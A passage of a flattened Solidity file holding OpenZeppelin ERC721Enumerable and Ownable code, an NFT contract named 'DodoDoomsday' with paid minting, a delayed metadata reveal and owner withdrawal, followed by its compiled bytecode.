*/ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/dodo.sol pragma solidity ^0.8.0; contract DodoDoomsday is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.075 ether; //0.075ETH uint256 public maxSupply = 10000; uint256 public maxMintAmount = 5; bool public paused = true; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= 10000); require(msg.value >= cost * _mintAmount); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintForOwner(uint256 _mintAmount) public onlyOwner { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x60806040526004361061021a5760003560e01c80635c975abb11610123578063a22cb465116100ab578063d5abeb011161006f578063d5abeb01146107a3578063da3ef23f146107ce578063e985e9c5146107f7578063f2c4ce1e14610834578063f2fde38b1461085d5761021a565b8063a22cb465146106d2578063a475b5dd146106fb578063b88d4fde14610712578063c66828621461073b578063c87b56dd146107665761021a565b8063715018a6116100f2578063715018a6146106205780637f00c7a6146106375780638da5cb5b1461066057806395d89b411461068b578063a0712d68146106b65761021a565b80635c975abb146105525780636352211e1461057d57806363bc312a146105ba57806370a08231146105e35761021a565b806323b872dd116101a6578063438b630011610175578063438b63001461045b57806344a0d68a146104985780634f6ccce7146104c157806351830227146104fe57806355f804b3146105295761021a565b806323b872dd146103c25780632f745c59146103eb5780633ccfd60b1461042857806342842e0e146104325761021a565b8063081c8c44116101ed578063081c8c44146102ed578063095ea7b31461031857806313faede61461034157806318160ddd1461036c578063239c70ae146103975761021a565b806301ffc9a71461021f57806302329a291461025c57806306fdde0314610285578063081812fc146102b0575b600080fd5b34801561022b57600080fd5b50610246600480360381019061024191906131ec565b610886565b60405161025391906137f8565b60405180910390f35b34801561026857600080fd5b50610283600480360381019061027e91906131bf565b610900565b005b34801561029157600080fd5b5061029a610999565b6040516102a79190613813565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d2919061328f565b610a2b565b6040516102e4919061376f565b60405180910390f35b3480156102f957600080fd5b50610302610ab0565b60405161030f9190613813565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a919061317f565b610b3e565b005b34801561034d57600080fd5b50610356610c56565b6040516103639190613a75565b60405180910390f35b34801561037857600080fd5b50610381610c5c565b60405161038e9190613a75565b60405180910390f35b3480156103a357600080fd5b506103ac610c69565b6040516103b99190613a75565b60405180910390f35b3480156103ce57600080fd5b506103e960048036038101906103e49190613069565b610c6f565b005b3480156103f757600080fd5b50610412600480360381019061040d919061317f565b610ccf565b60405161041f9190613a75565b60405180910390f35b610430610d74565b005b34801561043e57600080fd5b5061045960048036038101906104549190613069565b610e70565b005b34801561046757600080fd5b50610482600480360381019061047d9190612ffc565b610e90565b60405161048f91906137d6565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba919061328f565b610f3e565b005b3480156104cd57600080fd5b506104e860048036038101906104e3919061328f565b610fc4565b6040516104f59190613a75565b60405180910390f35b34801561050a57600080fd5b50610513611035565b60405161052091906137f8565b60405180910390f35b34801561053557600080fd5b50610550600480360381019061054b9190613246565b611048565b005b34801561055e57600080fd5b506105676110de565b60405161057491906137f8565b60405180910390f35b34801561058957600080fd5b506105a4600480360381019061059f919061328f565b6110f1565b6040516105b1919061376f565b60405180910390f35b3480156105c657600080fd5b506105e160048036038101906105dc919061328f565b6111a3565b005b3480156105ef57600080fd5b5061060a60048036038101906106059190612ffc565b6112b6565b6040516106179190613a75565b60405180910390f35b34801561062c57600080fd5b5061063561136e565b005b34801561064357600080fd5b5061065e6004803603810190610659919061328f565b6113f6565b005b34801561066c57600080fd5b5061067561147c565b604051610682919061376f565b60405180910390f35b34801561069757600080fd5b506106a06114a6565b6040516106ad9190613813565b60405180910390f35b6106d060048036038101906106cb919061328f565b611538565b005b3480156106de57600080fd5b506106f960048036038101906106f4919061313f565b6115e9565b005b34801561070757600080fd5b506107106115ff565b005b34801561071e57600080fd5b50610739600480360381019061073491906130bc565b611698565b005b34801561074757600080fd5b506107506116fa565b60405161075d9190613813565b60405180910390f35b34801561077257600080fd5b5061078d6004803603810190610788919061328f565b611788565b60405161079a9190613813565b60405180910390f35b3480156107af57600080fd5b506107b86118e1565b6040516107c59190613a75565b60405180910390f35b3480156107da57600080fd5b506107f560048036038101906107f09190613246565b6118e7565b005b34801561080357600080fd5b5061081e60048036038101906108199190613029565b61197d565b60405161082b91906137f8565b60405180910390f35b34801561084057600080fd5b5061085b60048036038101906108569190613246565b611a11565b005b34801561086957600080fd5b50610884600480360381019061087f9190612ffc565b611aa7565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108f957506108f882611b9f565b5b9050919050565b610908611c81565b73ffffffffffffffffffffffffffffffffffffffff1661092661147c565b73ffffffffffffffffffffffffffffffffffffffff161461097c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610973906139d5565b60405180910390fd5b80601060006101000a81548160ff02191690831515021790555050565b6060600080546109a890613d7e565b80601f01602080910402602001604051908101604052809291908181526020018280546109d490613d7e565b8015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b5050505050905090565b6000610a3682611c89565b610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c906139b5565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60118054610abd90613d7e565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990613d7e565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b505050505081565b6000610b49826110f1565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb190613a15565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bd9611c81565b73ffffffffffffffffffffffffffffffffffffffff161480610c085750610c0781610c02611c81565b61197d565b5b610c47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3e90613935565b60405180910390fd5b610c518383611cf5565b505050565b600d5481565b6000600880549050905090565b600f5481565b610c80610c7a611c81565b82611dae565b610cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb690613a35565b60405180910390fd5b610cca838383611e8c565b505050565b6000610cda836112b6565b8210610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1290613835565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610d7c611c81565b73ffffffffffffffffffffffffffffffffffffffff16610d9a61147c565b73ffffffffffffffffffffffffffffffffffffffff1614610df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de7906139d5565b60405180910390fd5b6000610dfa61147c565b73ffffffffffffffffffffffffffffffffffffffff1647604051610e1d9061375a565b60006040518083038185875af1925050503d8060008114610e5a576040519150601f19603f3d011682016040523d82523d6000602084013e610e5f565b606091505b5050905080610e6d57600080fd5b50565b610e8b83838360405180602001604052806000815250611698565b505050565b60606000610e9d836112b6565b905060008167ffffffffffffffff811115610ebb57610eba613f46565b5b604051908082528060200260200182016040528015610ee95781602001602082028036833780820191505090505b50905060005b82811015610f3357610f018582610ccf565b828281518110610f1457610f13613f17565b5b6020026020010181815250508080610f2b90613de1565b915050610eef565b508092505050919050565b610f46611c81565b73ffffffffffffffffffffffffffffffffffffffff16610f6461147c565b73ffffffffffffffffffffffffffffffffffffffff1614610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb1906139d5565b60405180910390fd5b80600d8190555050565b6000610fce610c5c565b821061100f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100690613a55565b60405180910390fd5b6008828154811061102357611022613f17565b5b90600052602060002001549050919050565b601060019054906101000a900460ff1681565b611050611c81565b73ffffffffffffffffffffffffffffffffffffffff1661106e61147c565b73ffffffffffffffffffffffffffffffffffffffff16146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bb906139d5565b60405180910390fd5b80600b90805190602001906110da929190612e10565b5050565b601060009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190613975565b60405180910390fd5b80915050919050565b6111ab611c81565b73ffffffffffffffffffffffffffffffffffffffff166111c961147c565b73ffffffffffffffffffffffffffffffffffffffff161461121f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611216906139d5565b60405180910390fd5b6000611229610c5c565b9050601060009054906101000a900460ff161561124557600080fd5b6000821161125257600080fd5b600f5482111561126157600080fd5b600e5482826112709190613bb3565b111561127b57600080fd5b6000600190505b8281116112b15761129e3382846112999190613bb3565b6120f3565b80806112a990613de1565b915050611282565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e90613955565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611376611c81565b73ffffffffffffffffffffffffffffffffffffffff1661139461147c565b73ffffffffffffffffffffffffffffffffffffffff16146113ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e1906139d5565b60405180910390fd5b6113f46000612111565b565b6113fe611c81565b73ffffffffffffffffffffffffffffffffffffffff1661141c61147c565b73ffffffffffffffffffffffffffffffffffffffff1614611472576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611469906139d5565b60405180910390fd5b80600f8190555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546114b590613d7e565b80601f01602080910402602001604051908101604052809291908181526020018280546114e190613d7e565b801561152e5780601f106115035761010080835404028352916020019161152e565b820191906000526020600020905b81548152906001019060200180831161151157829003601f168201915b5050505050905090565b6000611542610c5c565b9050601060009054906101000a900460ff161561155e57600080fd5b6000821161156b57600080fd5b600f5482111561157a57600080fd5b61271082826115899190613bb3565b111561159457600080fd5b81600d546115a29190613c3a565b3410156115ae57600080fd5b6000600190505b8281116115e4576115d13382846115cc9190613bb3565b6120f3565b80806115dc90613de1565b9150506115b5565b505050565b6115fb6115f4611c81565b83836121d7565b5050565b611607611c81565b73ffffffffffffffffffffffffffffffffffffffff1661162561147c565b73ffffffffffffffffffffffffffffffffffffffff161461167b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611672906139d5565b60405180910390fd5b6001601060016101000a81548160ff021916908315150217905550565b6116a96116a3611c81565b83611dae565b6116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df90613a35565b60405180910390fd5b6116f484848484612344565b50505050565b600c805461170790613d7e565b80601f016020809104026020016040519081016040528092919081815260200182805461173390613d7e565b80156117805780601f1061175557610100808354040283529160200191611780565b820191906000526020600020905b81548152906001019060200180831161176357829003601f168201915b505050505081565b606061179382611c89565b6117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c9906139f5565b60405180910390fd5b60001515601060019054906101000a900460ff161515141561188057601180546117fb90613d7e565b80601f016020809104026020016040519081016040528092919081815260200182805461182790613d7e565b80156118745780601f1061184957610100808354040283529160200191611874565b820191906000526020600020905b81548152906001019060200180831161185757829003601f168201915b505050505090506118dc565b600061188a6123a0565b905060008151116118aa57604051806020016040528060008152506118d8565b806118b484612432565b600c6040516020016118c893929190613729565b6040516020818303038152906040525b9150505b919050565b600e5481565b6118ef611c81565b73ffffffffffffffffffffffffffffffffffffffff1661190d61147c565b73ffffffffffffffffffffffffffffffffffffffff1614611963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195a906139d5565b60405180910390fd5b80600c9080519060200190611979929190612e10565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611a19611c81565b73ffffffffffffffffffffffffffffffffffffffff16611a3761147c565b73ffffffffffffffffffffffffffffffffffffffff1614611a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a84906139d5565b60405180910390fd5b8060119080519060200190611aa3929190612e10565b5050565b611aaf611c81565b73ffffffffffffffffffffffffffffffffffffffff16611acd61147c565b73ffffffffffffffffffffffffffffffffffffffff1614611b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1a906139d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8a90613875565b60405180910390fd5b611b9c81612111565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611c6a57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611c7a5750611c7982612593565b5b9050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611d68836110f1565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611db982611c89565b611df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611def90613915565b60405180910390fd5b6000611e03836110f1565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e7257508373ffffffffffffffffffffffffffffffffffffffff16611e5a84610a2b565b73ffffffffffffffffffffffffffffffffffffffff16145b80611e835750611e82818561197d565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611eac826110f1565b73ffffffffffffffffffffffffffffffffffffffff1614611f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef990613895565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f69906138d5565b60405180910390fd5b611f7d8383836125fd565b611f88600082611cf5565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fd89190613c94565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461202f9190613bb3565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46120ee838383612711565b505050565b61210d828260405180602001604052806000815250612716565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223d906138f5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161233791906137f8565b60405180910390a3505050565b61234f848484611e8c565b61235b84848484612771565b61239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613855565b60405180910390fd5b50505050565b6060600b80546123af90613d7e565b80601f01602080910402602001604051908101604052809291908181526020018280546123db90613d7e565b80156124285780601f106123fd57610100808354040283529160200191612428565b820191906000526020600020905b81548152906001019060200180831161240b57829003601f168201915b5050505050905090565b6060600082141561247a576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061258e565b600082905060005b600082146124ac57808061249590613de1565b915050600a826124a59190613c09565b9150612482565b60008167ffffffffffffffff8111156124c8576124c7613f46565b5b6040519080825280601f01601f1916602001820160405280156124fa5781602001600182028036833780820191505090505b5090505b60008514612587576001826125139190613c94565b9150600a856125229190613e2a565b603061252e9190613bb3565b60f81b81838151811061254457612543613f17565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856125809190613c09565b94506124fe565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612608838383612908565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561264b576126468161290d565b61268a565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612689576126888382612956565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126cd576126c881612ac3565b61270c565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461270b5761270a8282612b94565b5b5b505050565b505050565b6127208383612c13565b61272d6000848484612771565b61276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613855565b60405180910390fd5b505050565b60006127928473ffffffffffffffffffffffffffffffffffffffff16612ded565b156128fb578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026127bb611c81565b8786866040518563ffffffff1660e01b81526004016127dd949392919061378a565b602060405180830381600087803b1580156127f757600080fd5b505af192505050801561282857506040513d601f19601f820116820180604052508101906128259190613219565b60015b6128ab573d8060008114612858576040519150601f19603f3d011682016040523d82523d6000602084013e61285d565b606091505b506000815114156128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a90613855565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612900565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612963846112b6565b61296d9190613c94565b9050600060076000848152602001908152602001600020549050818114612a52576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612ad79190613c94565b9050600060096000848152602001908152602001600020549050600060088381548110612b0757612b06613f17565b5b906000526020600020015490508060088381548110612b2957612b28613f17565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612b7857612b77613ee8565b5b6001900381819060005260206000200160009055905550505050565b6000612b9f836112b6565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7a90613995565b60405180910390fd5b612c8c81611c89565b15612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc3906138b5565b60405180910390fd5b612cd8600083836125fd565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d289190613bb3565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612de960008383612711565b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b828054612e1c90613d7e565b90600052602060002090601f016020900481019282612e3e5760008555612e85565b82601f10612e5757805160ff1916838001